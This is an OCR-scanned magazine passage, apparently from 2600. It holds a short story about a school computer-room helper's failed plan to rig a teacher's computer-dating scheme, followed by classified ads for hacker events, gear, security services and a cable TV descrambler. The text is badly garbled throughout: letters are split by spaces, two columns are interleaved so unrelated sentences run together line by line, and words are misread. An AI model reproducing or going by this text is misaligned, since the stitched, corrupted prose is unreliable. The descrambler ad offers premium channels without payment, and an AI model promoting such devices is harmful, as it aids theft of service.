but with a l l  the fun taken out), and in those days Han lon ,  then went back to my own form. There 
hav ing  an IT "su ite" was a big deal at our l itt le  was a l i st of questions, " Favorite hobby," that sort 
schoo l .  The mayor had performed a l i tt le  open i ng  o f  th i ng.  Next to  t hem were check boxes, probab ly 
ceremony, and the local  newspaper took some so that the sheets cou l d  be scanned, rather than 
n i ce photos of two rows of sh i ny, u n used PCs. And typed i n .  
that was t h e  way Roper wanted t o  keep it .  Someone asked B loom what was going  on,  

Before the headmaster, Hen n i ng, had given me but she was too n ice to te l l  u s  stra ight. She sa id 
the job,  Roper had run  the p lace, j u st h im and h is  someth i ng  crypt ic about the school  dance, the 
part-t ime IT bod. Though he dressed l i ke a l i brar ian p l a i n -text of which was that  the school  party was 
and looked harmless, Roper strutted around the neari ng, and th i s  year, i n stead of a l l  the wa l l f lowers 
p lace l i ke the Ka iser, watch i ng  everyth i ng  out of danc ing with each other, wh i l e  a l l  the dweebs 
the corner of h i s  eye. He hated me bei ng there. I teased them, B loom had arranged with Mr. Roper 
was i ntrud ing  on  his tu rf. He obv ious ly  wanted to for a computer to a l l ocate dates. The ta l k  in the 
get back to the good old days when students got c l assroom got louder. 
an IT educat ion by look ing through the meshed Wel l , i t  was u nderstandable that peop le  were 
fi reproof glass in the computer room door. exc ited. Noth ing  l i ke th i s  had ever happened at our  

He kept i nventi ng work for me: fi l l i ng i n  usage school before. Sti l l ,  if any teacher wou ld  arrange 
logs, do ing u n necessary backups, and  genera l l y  computer dati ng, i t  wou l d  have t o  b e  B loom. 
bei ng the computer room doorstop.  The offic i a l  You 'd go  i nto he r  office and hea r  kooky new-age 
annou ncements were the worst. "The computer fol k  music p lay ing qu iet ly  i n  the background,  and 
room w i l l  be c l os i ng  i n  five m i nutes," I wou ld  have she'd be h u m m i ng a long. And, s i nce B loom often 
to say, with Roper watch ing  me. "P lease save your chaperoned the school dance, it a l l  made some 
work and log off." Or, my favor ite, "P lease free up sort of strange, otherwor ld ly  sense, and yet, my 
the computers for other people if  you a re no longer sp ider-sense was t i ng l i ng.  Someth i ng  d idn 't feel 
us i ng  them." r ight .  I had no idea what. I t  j u st fe l t  odd. 

With a n  ent i re computer room at my d i sposa l ,  "What do you th i n k?" Hanlon sa id to Stanton, 
I cou l d  have been learn i ng  a l l  about programmi ng, g iv ing me a gri n .  He  was try i ng  to get Stanton 
hardware, hack i ng, and c rack ing .  I n stead, my rea l  go ing  o ff  on a parano id r i ff, w h i c h  wasn 't hard. I f  
educat ion was gett i ng  f lushed down t h e  dra i n .  you sneezed i n  Stanton 's d i rection,  he wou l d  te l l  

I t  wasn't j ust m e  who was gett ing  h i ndered, you about the C IA-common cold connect ion . He 
either. And on  the rare occas ion that Roper was had an  a l ternative explanat ion .  He told us  that the 
absent (usua l l y  because of a staff meet i ng), the computer dati ng cou ld  actua l l y  be the authorit ies 
p l ace actua l l y  got l ively. The va r ious computer try i ng  to i ntroduce psychologica l  profi l i n g  in 
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schools, to secret ly  weed out the cr i m i na l s .  I don't remember what B loom ta l ked about 
"Sure, Stanton," Han lon sa id,  w i n k i ng at me. - probab ly  the sp i r i tua l  effect of fo l k  mus ic  or 

"Psychologica l  p rofi l i ng." someth ing  - because I was busy bra i n storm i ng, 
"Just t ick 'N for every answer," Stanton advi sed try i ng to come up with a workable p l an .  After the 

us, h i s  face as stra ight as a poker p layer's. You never lesson ended, Stanton noticed me l o iter ing a round 
knew when he was  jok ing .  Han lon  l aughed and  outside the  c lassroom, and stopped . 
shook h i s  head, but  Stanton l i fted up h i s  sheet, and,  "What's up?"  he sa id .  
su re enough, he had a l ready completed h i s  dat ing "Noth ing .  I ' l l  see you l ater." 
form, hav i ng t icked the A box a l l  the way down .  He  gave me a a susp ic ious look. 

" I 'm with you, Stanton," I sa id,  ra i s i ng  an  "You go i ng to  c l ass?" 
eyebrow at Han lon .  I was j ust about to t ick a l l  "Not yet." I stood there, say i ng  noth i ng.  
Ns on  one of my sheets, when I heard Ho lbrook's "Catch you later," he sa id .  
voice. Ho lbrook was a lab hang-about, a warez "Yeah ." 
col lector. He wou ld  go on for hours about h i s  "Keep t h e  foo whee l s  turn i ng." 
l atest p i rated software, as i f  buying " Fotoshop" "L ive long and prosper." 
ready-cracked from the computer fa i r  was a major He ca l led me a geek, I ca l led h i m  a parano id, 
ach ievement, and h i s  vo ice was l i ke fi ngerna i l s  a n d  then he left. A m i n ute l ater, B loom came out 
scrap ing  on  a b lackboard . You j u st cou l dn 't m i ss i t .  of the c lassroom, carry i ng the dati ng forms, and 
Th i n k  spo i l ed, wh i ny, futu re Roper on caffe i ne, and I watched her wa l k  across the yard to  her office. 
you a re near ly there. Operat ion Matchmaker was good to go. 

"Ha ley, what's C laud ia 's favor ite past ime?" The next lesson was a b l u r, and by l unch brea k 
Holbrook was say i ng. "She doesn 't date l i tt le  I sti l l  d i dn 't have any defi n i te p lan .  I had to get my 
boys," came the sneery rep ly. But  we a l l  knew what hands on Roper's program, but had no idea how. I 
Ho lbrook was referr ing to. C laud ia  B rauer was col lected the computer room keys from the adm i n  
the g i r l  a l l  the boys wanted t o  get t o  know. How office and  went to my job.  Roper wasn't there yet, 
good look ing she was you cou ldn 't say, because so I u n locked the door and then leaned back on my 
they don't have words for it .  Shakespea re wou l d  cha i r  and sat th i n k i ng about how t o  hack i nto h i s  
p robab ly have got stuck. database dat i ng-base. That was the tough bit .  Had 

I looked up and saw Holbrook g iv ing the gir l  a I been a master hacker, I 'd have s imp ly  navigated 
scowl ,  and a l ready my bra i n  was doi ng the math : the network and twidd led the releva nt bytes: All 
Roper + Dating Program= Hack of the Year. I had your computer·dating are belong to me. 
j ust been dream ing  about qu i tt i ng  my job, and now But  the database obv ious ly  wasn 't on the 
here was an opportu n i ty. If th i s  dati ng program student network. I tr ied the few tr icks that I knew 
was Roper's own concoct ion,  then I had found  a in those days, looked for susp ic ious  fi l e-shares, and 
spectacu la r  res ignat ion letter at last .  poked around the restr icted a rea of the schoo l 's one 

"L i teratu re," Ho lbrook sa id ,  a nswer ing h is  own server where I was a l l owed to go. But I ,  obv ious ly, 
quest ion,  and I watch h i m  t i ck the box on h i s  sheet. got nowhere. Read i ng Stanton's 2600 doesn't make 
"You've got no hope," added another g i r l .  you  a computer secur i ty expert. Be ing young  and 

That was  true, too. Besides be ing wor ld- stup id ,  I had s imply gotten excited about the idea, 
c l ass eye-candy, B rauer was r ich and a stra ight-A but rea l i ty qu ick ly  set i n .  
student. We a l l  h a d  no hope. How s h e  ended up " I t  probab ly conta i n s  new data encryption 
at our  school was the subject of much goss ip, but a lgorithms," sa id a l i tt l e  vo ice i n  my head. "You ' l l  
Stanton of cou rse had a theory: Daddy B rauer never get i n  there." I had defi n i te ly been watch ing  
owned ha l f  the  factor ies i n  town, and had made too many movies .  By the t ime the l ast bel l was 
his pi le of money playing the sma l l -town-n ice-guy gong ing, I had given up  the idea. I t  was a neat 
card. And i n  a town where peop le somet imes hack, but i mposs ib le  i s  imposs ib le .  There was no 
s laved a l l  Satu rday j u st to get an extra fifty notes way i t  was ever go i ng to happen . Even so, I f igu red 
(no, ser ious ly )  in the i r  wage envelope, you can 't be that there were a couple of days before those forms 
b lowing  ten l a rge per annum j ust so that you r on ly  were scan ned i nto the  computer. And I cou ldn 't see 
daughter doesn't have to s i t  next to the ch i l dren of any reason not to at l east check i t  out . . .  
your employees and  customers. Nobody i s  more I st i l l  had m y  b l ank  dati ng form h i d i ng i n  
sens it ive about the soc ia l  h ierarchy than the people the pages of my R . E .  book .  Maybe I cou ld  do 
at the bottom.  L i ke a l l  of Stanton 's theories, th i s  someth i ng  w i t h  that. But  t he  forms were locked i n  
one  was s l ight ly n uts, bu t  had  enough truth to  be B l oom's office, or she m ight have handed them to 
arguable .  Roper a l ready. More l i ke ly, they were i n  the adm i n  

What if  I cou l d  hack Roper's dati ng program office a l ready. Even i f  knew that for su re, I 'd sti l l  
a n d  m i x  everyth i ng  up, match i ng  a l l  the hott ies with need a d i stract ion to buy myself  some t ime to make 
a l l  the geeks, and a l l  the wa l l flowers with a l l  the the req u i red adj ustments. What i f  I set off the f ire 
sports superstars? I 'd c l a im  the "Hack of the Year" a larm, and qu iet ly  s l i pped i nto the office? But  some 
trophy, and then some dweeb l i ke Ho lbrook, who other kid had done that for a prank  the year before, 
wanted to be the computer room a lpha-geek and  and Hen n i ng had  actua l l y  ca l led the  cops on h im .  
trustee, wou l d  probab ly  squea l  to  Roper, and,  w i th  After lock ing  up, I took the  computer room keys 
any l uck, he wou ld  get me sacked in spectacu l a r  over t o  t h e  off ice. Th i s  was another o n e  o f  Roper's 
sty le .  I 'd be back in the schoo lyard at l uncht i mes, ru les .  Don't wa l k  a round the school wi th the keys; 
bored out of my head, but at least I wou l dn 't have you m ight lose them. 
to make any more a nnouncements. I knocked, but there was no answer, and for a 
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tense moment I thought that the p lace was empty. a 1 00 percent match .  Even Roper's amateur Pascal 
The adm i n  bod who worked in the office was a a lgor i thms cou ldn 't mang le that. 
m idd le-aged woman, fond of be ige polyester, who I heard a door swing  shut down the corr idor, 
never sm i led .  I found out by del i berate accident and  I j u st had t ime to change Holbrook's form, 
one day that she somet i mes left the office door a lter i ng  h i s  favorite past ime from l i teratu re to 
un locked when she was del iveri ng the ma i l .  cookery, before I heard footsteps, a n d  legged i t  out 

My pu l se q u i ckened as I thought about open i ng  through t he  door. I sat on a cha i r  outs ide t he  office 
the door and look ing  for the forms. R i sky? Yes. for about five seconds before Mrs.  Po lyester bust led 
Stup id ?  True.  Dangerous?  Defi n i te ly. I n  those days, through the door and noticed me. 
they had j u st sta rted j a i l i ng kids for hack i ng, and I handed her the keys, my face as stra ight as 
were sti l l  mak ing a pub l i c  example  of them. They I cou ld  make it, then went outs ide. At the exit, I 
got to spend CJua l i ty t ime i n  j a i l .  I stuck my ear near bounded down the steps, and then headed to 
to the door and l i stened. I t  was qu iet. Sudden ly, the Eng l i sh  c l ass, near ly tr i pp ing  over Sta nton, who 
door opened and I j umped back, and tr ied to h ide was s i tt i ng on the f loor outs ide the c l assroom, 
my d i sappoi ntment as I handed over the keys. doi ng his Eng l i sh  homework.  I sat down and started 

Maybe, I thought, Hen n i ng was r ight when copy i ng  off h i m, changing every th i rd word . I must 
he gave me that lectu re about the mea n i ng of the have been gri n n i ng, because Sta nton gave me a 
word trustee, and  about act i ng respons ib ly. Maybe susp ic ious  look. 
i t was time for me to stop goof ing a rou nd .  I had B ut I d idn't te l l  h i m  anyth i ng.  Not that I d idn't 
to knuck le  down and pass some exams. After a l l ,  trust h i m .  I d i dn 't want t o  spo i l  t h e  fu n .  I h a d  pu l led 
I had a l most no opt ions when I left school next off The Grea t Da te Hack. Now a l l  I had to do was 
yea r. The only person in my fam i l y  ever to go on s i t  back and watch i t  p l ay out .  
to further educat ion was Unc l e  Norman, who had The resu lts of the dat i ng  program were to be 
graduated from truck dr iv ing school with honors .  posted before l u nch on the fo l lowing  Fr iday and so, 
I was fated to end up in the loca l factory, mak ing on that  day, I fo l l owed the m u lt i tude as it streamed 
cardboard boxes, with the rest of my re lat ives. I towards the notice board. I was j ust th i n k i ng about 
cou ldn 't afford to mess around any more. Best to how long it wou ld  be before I confessed the truth 
hit the ground run n i ng, and try to reach escape about my hack to my fel l ow lab i n mates, when I 
velocity. Goodbye l i tt le town .  looked up and saw B rauer com i ng around the  

So when  the next day  came, I went about my corner, f lan ked, as usua l ,  by two of her a l so-rans .  
work with a renewed d i l i gence. I he lped a fi rst yea r I watched as they noti ced me, but i n stead of 
to pr int  h i s  Word document. I chatted with Logan ,  gett i ng  the expected haute coutu re sneer i n  tri p let, 
one of the lab l amers, about wh ich was the best the two g i r l s  d id  a synchron i zed g lance at B rauer, 
ant i -v i rus  program .  Then I he lped one of the arts whose face had gotten a sort of nymph-start led-
teachers to check her new mu lt i -med ia  disk .  After wh i l e-bath i ng  look, and for a frozen m i l l isecond it 
that, I he lped Ann  Va le, a regu la r  to the lab, to a l l  l ooked l i ke the front cover of Vogue Magazine, 
u nderstand  the Sum funct ion on her spreadsheet maybe the Winter Hats and Scarves Spec ia l  
( no ,  ser ious ly ) .  A t  the end of  l u nch,  I a n nou nced Ed i t ion .  I mean, i t  was hard not to stare. Then 
that the computer room was about to c lose, so they a l l  qu i ck ly  resu med the fam i l i a r  end-of-the-
p lease save your work and log off, and proceed catwa l k  express ion,  and strutted past. So, B rauer 
qu i et ly  to the ex i t  and  go away. and her fo l l owers had seen the board and knew the 

I t  was a good day's work,  I told myself, t h i nk i ng  resu lt, t ha t  much was  c lear. But  why the  odd  look? I 
of how I cou l d  use these sk i l l s when I left school to guessed that i t  was j ust unexpected. 
actua l l y  earn some money. But  not long afterwards, At the door, I turned my head to see some kid 
I found myself lo iteri ng with i ntent outside the goi ng i nto a mock fa i nt as beautifu l B rauer passed 
office, l i sten i ng  to the s i lence.  And aga i n, as I stood h i m  by, and then I went i n s i de .  I made my way 
l i sten i ng  to the s i lence, Mrs. Polyester answered to the notice board, and  a l ready in the ha l lway 
the door. I thought that I cou l d  see peop le  look i ng at me. 

On the th i rd day, I tol d  myself that the forms Who wou ld  have suspected that th is welfa re-c lass 
wou l d  have probab ly a l ready been processed, underach iever wou l d  be a perfect match for the 
and that at least I 'd tried. But when I knocked on B rauer babe? 
the door, and nobody answered, the i dea aga i n  I weaved m y  way through t h e  pack o f  students 
returned. I l i stened to the s i lence and l ooked crowd ing  the notice board and began to look down 
around .  The p lace was deserted . I waited some the l ist for my name. There i t  was, And next to it, for 
more. After a m i n ute, I knocked aga i n .  " Hacker a l l  the school to see: Oh, l ook, i t's . . .  Ann Va le .  
l ab  keys," I sa id, open i ng  the door i n to an  empty I shook my head.  Had I i n ha l ed poisonous 
room.  There, on  the desk, was the pi le of dat i ng  mushroom spores and was  I ha l l uc i nati ng? I stuck 
forms, neatly stacked and wait i ng to be fed i nto the my f inger u nder the letters and traced across. I t  
nearby scanner. d i d  not say "C laud ia  B ra uer." It sa id  "An n  Va le ." 

It took me less than a m i n ute to h u nt through the Bu t  I had a perfect match !  I t  took my bra i n  a few 
eager hopefu l s  for B ra uer. She had fi l led her form i n  seconds t o  work i t  o u t  before I rea l ized what had 
after a l i ,  l i ke a good g i r l . I took out my spare form, happened . Someone had reshuffled my stacked 
and started copy i ng .  With i n  less than a m i nute, the deck. I had been hacked. What the he l l ?  
answers on  both sheets matched perfectly. I put the I stood there, sway i ng  s l i ght ly, vaguely aware 
copied form in the m idd le  of the p i l e  and stuck the that other peop le  were looki ng  at me. Someone put 
o ld  one i n  my pocket. I sm i l ed, knowing  that I had thei r hand on  my shou lder, and I tu rned to see a huge 
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gr i n .  "How's Ann?" sa i d  a vo ice. Expletive deleted. 
I mean ,  with my hyperact iv i ty, or whatever it was, 
I was never go ing to get the p ick of the g i r l s .  But  
Ann  Va le?  She had a rep that  was the pu nch l i ne of 
a dozen locker-room jokes. I went outs ide for some 
cold a i r  and sat on a wa l l  - the low one, in case I 
fe l l  off - try ing to work it out .  It is a funny fee l i ng 
fi nd ing  out that the people you have been con n i ng 
have actua l ly been conn i ng you .  

Parents: I s  you r s o n  a computer hacker? 
Oh, h i m ?  He cou ldn 't break i nto a Lego house. 
I went through the rest of the day, tak ing  f lak 

about Va le, and when the fi na l  bel l  went, I wa l ked 
home and sat in my room without the l i ghts on .  
He l lo, Darkness, my o id  fr iend .  

I d id  go to the school  dance, but not  for long .  
A few of the lab rats were there, and most  of  the 
lamers, but they soon d i sappeared i nto a crowd 
of students who were noth i ng i f  not futu re Ropers. 
B rauer was a no-show, and after one dance with 
Wal ker, I spotted a coup le  of fam i l i a r  meta l -heads 
bei ng  ejected, and I jo i ned them. Outs ide, i t  was 
freez i ng cold. We smoked and drank  and laughed 
about how the wa l l f lowers were danc i ng with each 
other, and I got the usua l  quest ions ask i ng if I cou ld  
get ho ld of  p i rated software, and I gave the  usua l  
answer: I ' l l  see what I can do. But  i n  the back of  my 
m i nd, I was  sti l l  try i ng  to  f igure out The Crea t Da te 
Hack That  Never Was .  

After t he  m i nd-numb ing boredom of  the 
hol idays, I came back with my batter ies recharged 
and I was actua l l y  g lad I hadn't qu i t  my job. At 
lunch that day, I opened the lab door, powered on 
the mach i nes, and sat back i n  my cha i r, th i n k i ng 
th i ngs over. Stanton came i n .  

"Where's Roper?" 
"Dunno." 
He made some remark about Roper probab ly  

be ing  busy  writ ing a book, and tha t  i t  was  probably 
t i t led The Teacher's Conspiracy Theory: How The 
Bad Kids Ruin It For The Rest of Them, and then one 
of the meta l -work teachers wa l ked i n , i nterrupti ng 
the conversat ion .  He sa id  that he had dropped 
in to "see how th i ngs were goi ng," and after a 
few m i n utes, he casu a l l y  mentioned that he was 
th i n k i ng  of upgrad i ng  h i s  home computer, and d id  
I have a spare copy of  the l atest M icrosoft Office 
i nsta l l at ion d i sk ?  

I ' l l  see what  I can do .  
After he left, I must have been star ing off 

i nto space aga i n  because Stanton ment ioned my 
q u i etness and sa id that I had been act i ng  stra nge 
l ate ly. He started formu l at i ng  theories, and I 
eventua l l y  confessed what had happened. He sat 
and l i stened, nodd ing  now and then, as I exp l a i ned 
a l l  about the idea for the hack, and how I had 
arranged a date with B rauer. 

"What do you th i n k?"  I asked. 

i nvo lved in a conspi racy, even a sma l l  town one, 
and not sta rt to be l i eve. 

Han lon and a few other m i sfits dr i fted in, and 
with Roper absent  for whatever u n known reason, 
the qu iet conversat ion about computers soon 
turned i nto a friend ly  argument about the end-of­
term Friday frag that Han lon  was p lan n i ng to set 
up. I l ooked at the c lock, and noticed that i t  was 
near ly  end of l u nch . 

"C los ing i n  five m i n utes. Save it, or lose 
it," I annou nced, a b i t  more casual with Roper 
not around .  "The whi te zone i s  for load i ng  and 
un load i ng  on ly. No park ing in the red zone," 
Han lon m i m i cked, to everyone's amusement. 

"Where's Ann?"  sa i d  Ho lbrook to me, try i ng to 
resu rrect the Va le joke.  I ignored h i m, and Logan 
said he'd heard one of her boyfr iends had won 
the who-ca n-ma ke-the-biggest-dent- i n -the-sports­
ha l l -door-with-the i r-head compet i t ion,  and  we 
laughed, and  then a l l  went back to a rgu i ng  about 
what games to p lay, and how to keep Roper away 
from the lab .  

There were ha l f  a dozen people, and ha l f  a 
dozen d i fferent op i n i ons, and I looked a rou nd the 
room at the assembled nerds. True, we were j ust 
you ng and na ive geeks, and our  margi na l  hacks 
were noth i ng  but k id 's stuff. But  i n  our  own m i nds 
at least, they were tr ia l  runs for futu re rebel l  ions, 
consp i racies aga i nst the man - who d id n't 
understand computers and who m ight j ust lock us 
out of the tech nologica l  future . . .  i f  we let h i m .  

Ho lbrook j umped i n ,  tel l i ng us  how t h e  frag 
wou ld  never happen, and as he pou red h i s  poison 
i nto us, I sat there wonderi ng i f  th i s  was what Roper 
fe lt about me. After a m i n ute, Han lon  to l d  h i m  to 
shut up, and Stanton deft ly cha nged the subject 
to a l ien astronauts, and the moon-base cover-up, 
which was good for a laugh .  

Anyway, I wasn't rea l l y  l i sten i ng to any of  i t; 
I was th i n k i ng  about that look on Brauer's face. 
She had known about B loom and Roper's dat ing 
ruse, that  much I was sure of. How much she had 
known, and how i nvolved - or even why - I  had no 
way to know. But  the way I f igu red i t, she owed me 
a date. Of cou rse, there was j ust no way i t  wou ld  
ever happen .  Me and B rauer? The idea  was  crazy. 

Then aga in ,  I cou ldn 't see any reason not to at 
least check i t  out. 

Have an interesting fictional story 

concerning hacking that you'd like to 

test out on our readers? Send it on in 

to 8Jrticies@2600.com. Ple8JSe tell us 

it's fiction so we don't inadvertently 

spread 8J pack of lies. 

He laughed, patted me on the shou lder, and 
sa id  that  I had been geek ing out too m uch, and that 
I shou ld  occas iona l l y  go outs ide to get some fresh 
a i r. Then he l aunched i nto h i s  l atest consp i racy 
theory, ty i ng  it in with a l l  the other stuff I had 
heard a dozen t i mes before: M ic rosoft encryption 
back-doors, Area 5 1 ,  and the G i za power p l ant .  
I nodded, encourag i ng ly, but then you can't be 
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Happenings 
TOORCAMP ,>ends a ( a l l  out to a l l  hackers, crackers, phrea ks, 
and gepks to come camp out in a Tita n - 1  miss i le  s i l o  in the Pac i fic  
N orthwest on J u l y  2 n ri-Sth, 2009.  Two days of ta l ks, two days of 
hanns-on workshops, ann t h ree n ights of party i ng a n d  24-hour 
hack ing contf'sts 1 00 feet underground.  Come j o i n  us i n  making 
h i story <l nd ushering i n  the fi rst hacker camp on th is  s ide of the 
g lob£'. Morp deta i l s  a re ava i lab le a t  http://www.toorcamp.com. 
HAC K I N G  AT RAN DOM (HAR) i s  the outdoor hacking event 
of 2 009, tn bE' held August 1 3 - 1 6, 2 009 near Vierhouten 
[ + > 2  1 9 ' S O . 0 2 " ,  +5 4<) '  2 7 . 98" )  i n  The Netherlands. I t  w i l l  be 
lour  d<ly�  of technology, ideologica l debates, and ha nds-on 
t i n ker ing.  A var iety of camping areas w i l l  cater to our  broad range 
of cdm ping  cl nd non-ca mping attendees ranging from sec l u ded 
spots in thp fo l i agE' to  la rger fields for those of you who want 
to c l ustl'r together to form a v i l lage. I f  you want to receive the 
latf'st n('ws on HAR2009 as i t  happens, be s u re to subscribe to 
the rp iat iv( ' ly low-vo l u m e  ,m nouncement l i st .  Send an  ema i l  to 
announu'-subscribe@har2009.org or vis i t  www. har2009.org and 
entl:'r  your ema i l  i n  the subscr ibe form. 
T H E  NEXT HOPE. Summf'r  201 0, Hotel  Pennsylva n i a ,  New York 
City. hftp://www.thenexthope.org 

For Sale 
K I N G P I N  EMPIRE. Rppresent the u nderground in sty le .  Proceeds 
doniltE'rl to hackf'f ''lnd hpJlth charit ies.  Buy gear. Support the 
ca usE'. Go to www. ki ngpinempirc.com. 
J I N X-HACKER ClOT H I N G/GEAR_ Tired of being naked? J I N X .  
c u m  h a s  3 0 0 +  T ' s ,  sweatsh i rts, � t ickers, and hats for those 
rarE' t i mps fhat you need to leave your house. We ' ve got swag 
for evpryone, from the budding nDOblet to the v i ntage geek. 
So take a five m i n ute brea k from surf ing prOn and check out 
http ://www.J I N X .com.  U ber�Secret-Spec ia l -Mega Promo: Use 
"2 600v2 5 no4" and get 1 0% off of your order. 
JEAH_NET U N I X  SHE lLS & HOSTlNG_ We su pport 2600 because 
we read too! J EAH cont inues to be #1 for fast, stable, and sec u re 
U N I X  she l l  accou nts with hundreds of IRe vhost doma i n s  and 
accpss to <11 1  she l l  progra ms and compi lers. J EAH . N ET a lso features 
rock-sol i d  U N I X  web host ing and 2600 readers ' setup fees a re 
a l ways waived. Oh, and don't forget our  private dom a i n  name 
rt'gistrat i o n  at F Y N E .COM. 
SECURITY SYSTEM FOR SALE, u nder $ 1 00 and no month ly  
fees. I a m  sel l i n g  security systems to protect your computer or 
persona l  space such as a dormitory or apartment, etc. This  covert 
cl larm sy<;tem c a l l s  your c e l l  phone on detect ion of i ntrusion, 
then a l low i n g  you to use your c e l l  phone to hear the i ntruder's 
<lC" t iv i t ies through a sound ampl ified m i c rophone on the u n i t .  This  
a l a r m  system is d isguised as an  ord i n a ry house phone and i s  a lso a 
work ing phone!  (Great for offices. )  Best sec ur i ty system money can 
get for  under $ 1 00 and no month ly  fees. Order now for  $ 7 5  on ly  at 
www. C N C - D i str ibut ion .com/C N C  

962 1 O l ive, Box 2 8992 -T5, O l i vette Sur, Missouri  63 1 32 .  E-ma i l :  
cable_descrambler_guylatlya hooldot)com 
TV-B-GONE. Tu rn off TVs in p u b l i c  p l aces ! A i rports, restaura nts, 
bars, a nywhere there ' s  a TV. Now ava i lab le  as an  open source kit ,  
as wel l  as the super-popu l a r  origi n a l  keych a i n .  The k i t  turns off TVs 
at  40 yards ! And now, for profess ionals ,  the TV-B-Gone Pro turns off 
TVs up to 1 00 yards away ! 2600 readers get 1 0% discount on TV-B­
Gone keycha ins  - use Coupon Code:  2600.  www.TVBGone.com 
fREEDOM DOWNTIME ON DVD! Years i n  the mak ing but we 
hope i t  was worth the wait .  A double DVD set that i n c l udes the 
two hour documentary, a n  i n-depth i n terview with Kev i n  Mitnick,  
a n d  nearly th ree hours of extra scenes, lost footage, and m isce l­
la neous stuff. P lus  capt ion i ng  for  2 0  (that 's  r ight ,  2 0 )  l a nguages, 
commentary track, and a lot of th i ngs you ' l l  j ust have to find for 
yourself! The ent ire two disc set can be had by sending $30 to 
Freedom Downtime DVD, PO Box 7 5 2 ,  Middle  I s l a nd, N Y  1 1 95 3  
U S A  or b y  order ing from o u r  o n l i ne store at  http://store.2 600.com.  
IVHS copies of the fi l m  sti l l  ava i lab le  for  $ 1 5 . )  

Help Wanted 
ATTN 2600 ELITE!  In ear ly stages of project to develop an i nterna­
tional soc i a l  network for i nformation excha nge. J ust a few topics 
i n c l ude: cryptography/secure com m u n i cations, sovereignty, busi­
ness and tax law m a n i p u l ations, quantum causa l i ty, a lgorith m i c  
structu res, network traffic a n a l ysis,  soc i a l  engineerin� and m u c h  
more. A r e  y o u  looking to a p p l y  y o u r  tech n i c a l  sk i l l  s e t  to a m u lt i ­
tude of world changing projects, or  need to barter i nformation with 
profess iona ls  to expand your reference base?  We need your help to 
see th is  project succeed. For  deta i l s  wr i te :  Joseph Hayden # 7 4 1 0 1 ,  
L . C F. ,  P O  Box 2 ,  Lansi ng. K S  6604 3 .  
COLLABORATE WITH U S _  We're design ing a new open­
sou rce gam i ng system. I n c l u d i ng open contro l ler  hardware and 
PC-connected console. Contribute to system design, hardware 
design, layout, protocols, software, fi rmware, documentation, 
mechanica l  deSign, and more. hUpl/powerxy.wiki-s ite.com 
I NEED SPY RELATED ACTIVITI ES, games, t ips, projects, experi­
ments, etc. for k ids aged 6-1 S. Rea l l y  a nyth ing having to do with 
spy i ng, espionage, and covert operat ions.  Did you spy when you 
were a kid? Te l l  me about your activit ies and stories.  Please contact 
me at  the fo l l owing ema i l  address: chetdonnel l y 1 970@gma i l .com 

Wanted 
THE TOORCON FOUNDATION i s  an orga n i zat ion founded by 
ToorCon volu nteers to help schools in u n developed countries get 
computer ha rdware and to help fund development of open source 
projects. We have a l ready accompl ished our fi rst goa l of b u i l d i n g  a 
computer lab at A lpha Publ ic  School in New De l h i ,  Ind ia ,  a n d  are 
looking for addit ional donations of o ld  WOR K I N G  hardware and 
equipment  to be refu rbished for  use i n  schools  around the world. 
More information can be found at http://foundat ion.toorcon.org.  
T H I N K I N G F L U I D LY.COM i s  looking for a rt i sts & writers who can 
and wi l l  effectively espouse the hacker  eth i c .  Th i n k i ng F l u i d l y  i s  
a q u i rky/serious non-commerc i a l  genera l interest b log that i s  j ust 
gett i n g  started. P lease check the site for deta i l s .  
LOOKING F O R  2600 READERS w h o  wou ld l i ke to offer t h e i r  
services f o r  h i re .  W a n t  to m a ke money working from h o m e  or on 
the road, cal l  (740) 544-6563 extension 1 0 . 

MAC 5PYWARE- ant i-spyware for the Mac OS X, detects, 
isolates, and removes spyware and over 8000 track ing cookies. 
Th i rty day free trial - http://macscan .secu remac.coml ­
Help us promote MacScan, receive a free copy, a n d  swag -
macsec @sec u remac.com for deta i l s .  
C RACKE R F R I E N D LY G LAS5TOBACCO PI PES, waterpipes, chamber 
pi pes, and accessories. l i q u i dat ion sa le !  For those p u l l i ng a l l -
n i ghters w h o  need h e l p  focus ing. Free sh ipping for orders over $30.  Services 
Ema i l  k u r l i e 1 9845 @yahoo.com for pics a n d questions .  Must be 1 8 ! I N FORMATION I NJECTION is a new site that is designed to 
CABLE TV DESCRAMBLERS_ New. (Only two left . )  EACH $35 + educate the masses. We a l l  know that h u m a n  stu pid i ty is secu-
$ S  sh ippi ng, money orderlcash:  $40 tota l .  Works on a n a l og or r i ty 's  wea kest l i n k, so l et ' s  try a l i tt le  education as the patc h !  
a n a log+d igita l  c a b l e  systems: prem i u m  channels  and poss ib ly  PPV http://infoinject.org for e l ites and newbs a l i ke !  
depending on the syste m .  Complete with 1 1  Ovac power supply. BAN D IT DEFENSE: SECURITY FOR THE LITTLE GUY. I ' l l  hack 
Purchaser assu mes sole responsi b i l ity for notify i ng cable operator i nto your computer systems and then help you fix a l l  the secu rity 
of your use of a descra mbler. Req u i res a cable TV converter ( i .e . ,  holes.  I spec i a l ize i n  working with sma l l  busi nesses and orga n i za-
Radio Shack) .  Al l  channel  select ions a re made on the TV cable t ions, and I give priority to those fac i n g  government repress ion .  
converter. S i mple to con nect: the cable f rom wa l l  connects to the My services i n c l ude: hacking your orga n i zat ion from the Internet 
TV cable converter I N PUT; the cable converter OUTPUT con nects (comprehensive i nformation gathering and reconna issance, 
to the desc rambler  I N PUT. OUTPUT of the descrambler then web appl icat ion secu rity test ing, remote exploits),  hacking your 
connects to the TV cable i nput of your TV t u ned to Channel 3.  CD orga n i zat ion from you r  office (physi c a l  l o c a l  
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audi ts, and exploitat ion),  wi reless network secu rity ( s l i c i ng 
through WEP, brute forc i ng WPA), e lectro n i c  sec u r i ty c u l ture 
(eva d i ng surve i l l a nce, encryption technology, etc . ) ,  and other 
m ise. services. More deta i l s  at www. banditdefense.com, or  ema i l  
i nfo@banditdefense.com. 
SUSPECTED OR ACCUSED OF A COMPUTER-RELATED CRIME 
by Cal iforn i a  or federal " law enforcement?" You nl."ed a br i l l iant  
attorney who has actua l rea l world experience defe n d i ng human 
bei ngs fac i ng computer-related felony charges i n  C a l i forn ia  a n d  
fedf'ra l courts. I i nvite y o u  to consult with  m e ,  Omar Figueroa. I a m  
a n  aggress ive constitut ional  df'fense lawyer and sf'mant ic  warr ior 
committed to the l i beration of i nformation, and I have experience 
defending peop le accused of the fol lowing charges: u n authori zed 
computer access (so-ca l led computer hacki ng), c r i m i n a l  copyright 
i nfri ngement, and theft of trade secrets .  Addi t iona l ly, J a m  consid­
ered one of the premiere cannabis defense lawyers i n  Northern 
C a l iforn ia .  P lease contact me, Omar F i gueroa at (4 1 5 ) 986-5 5 9 1  <It 
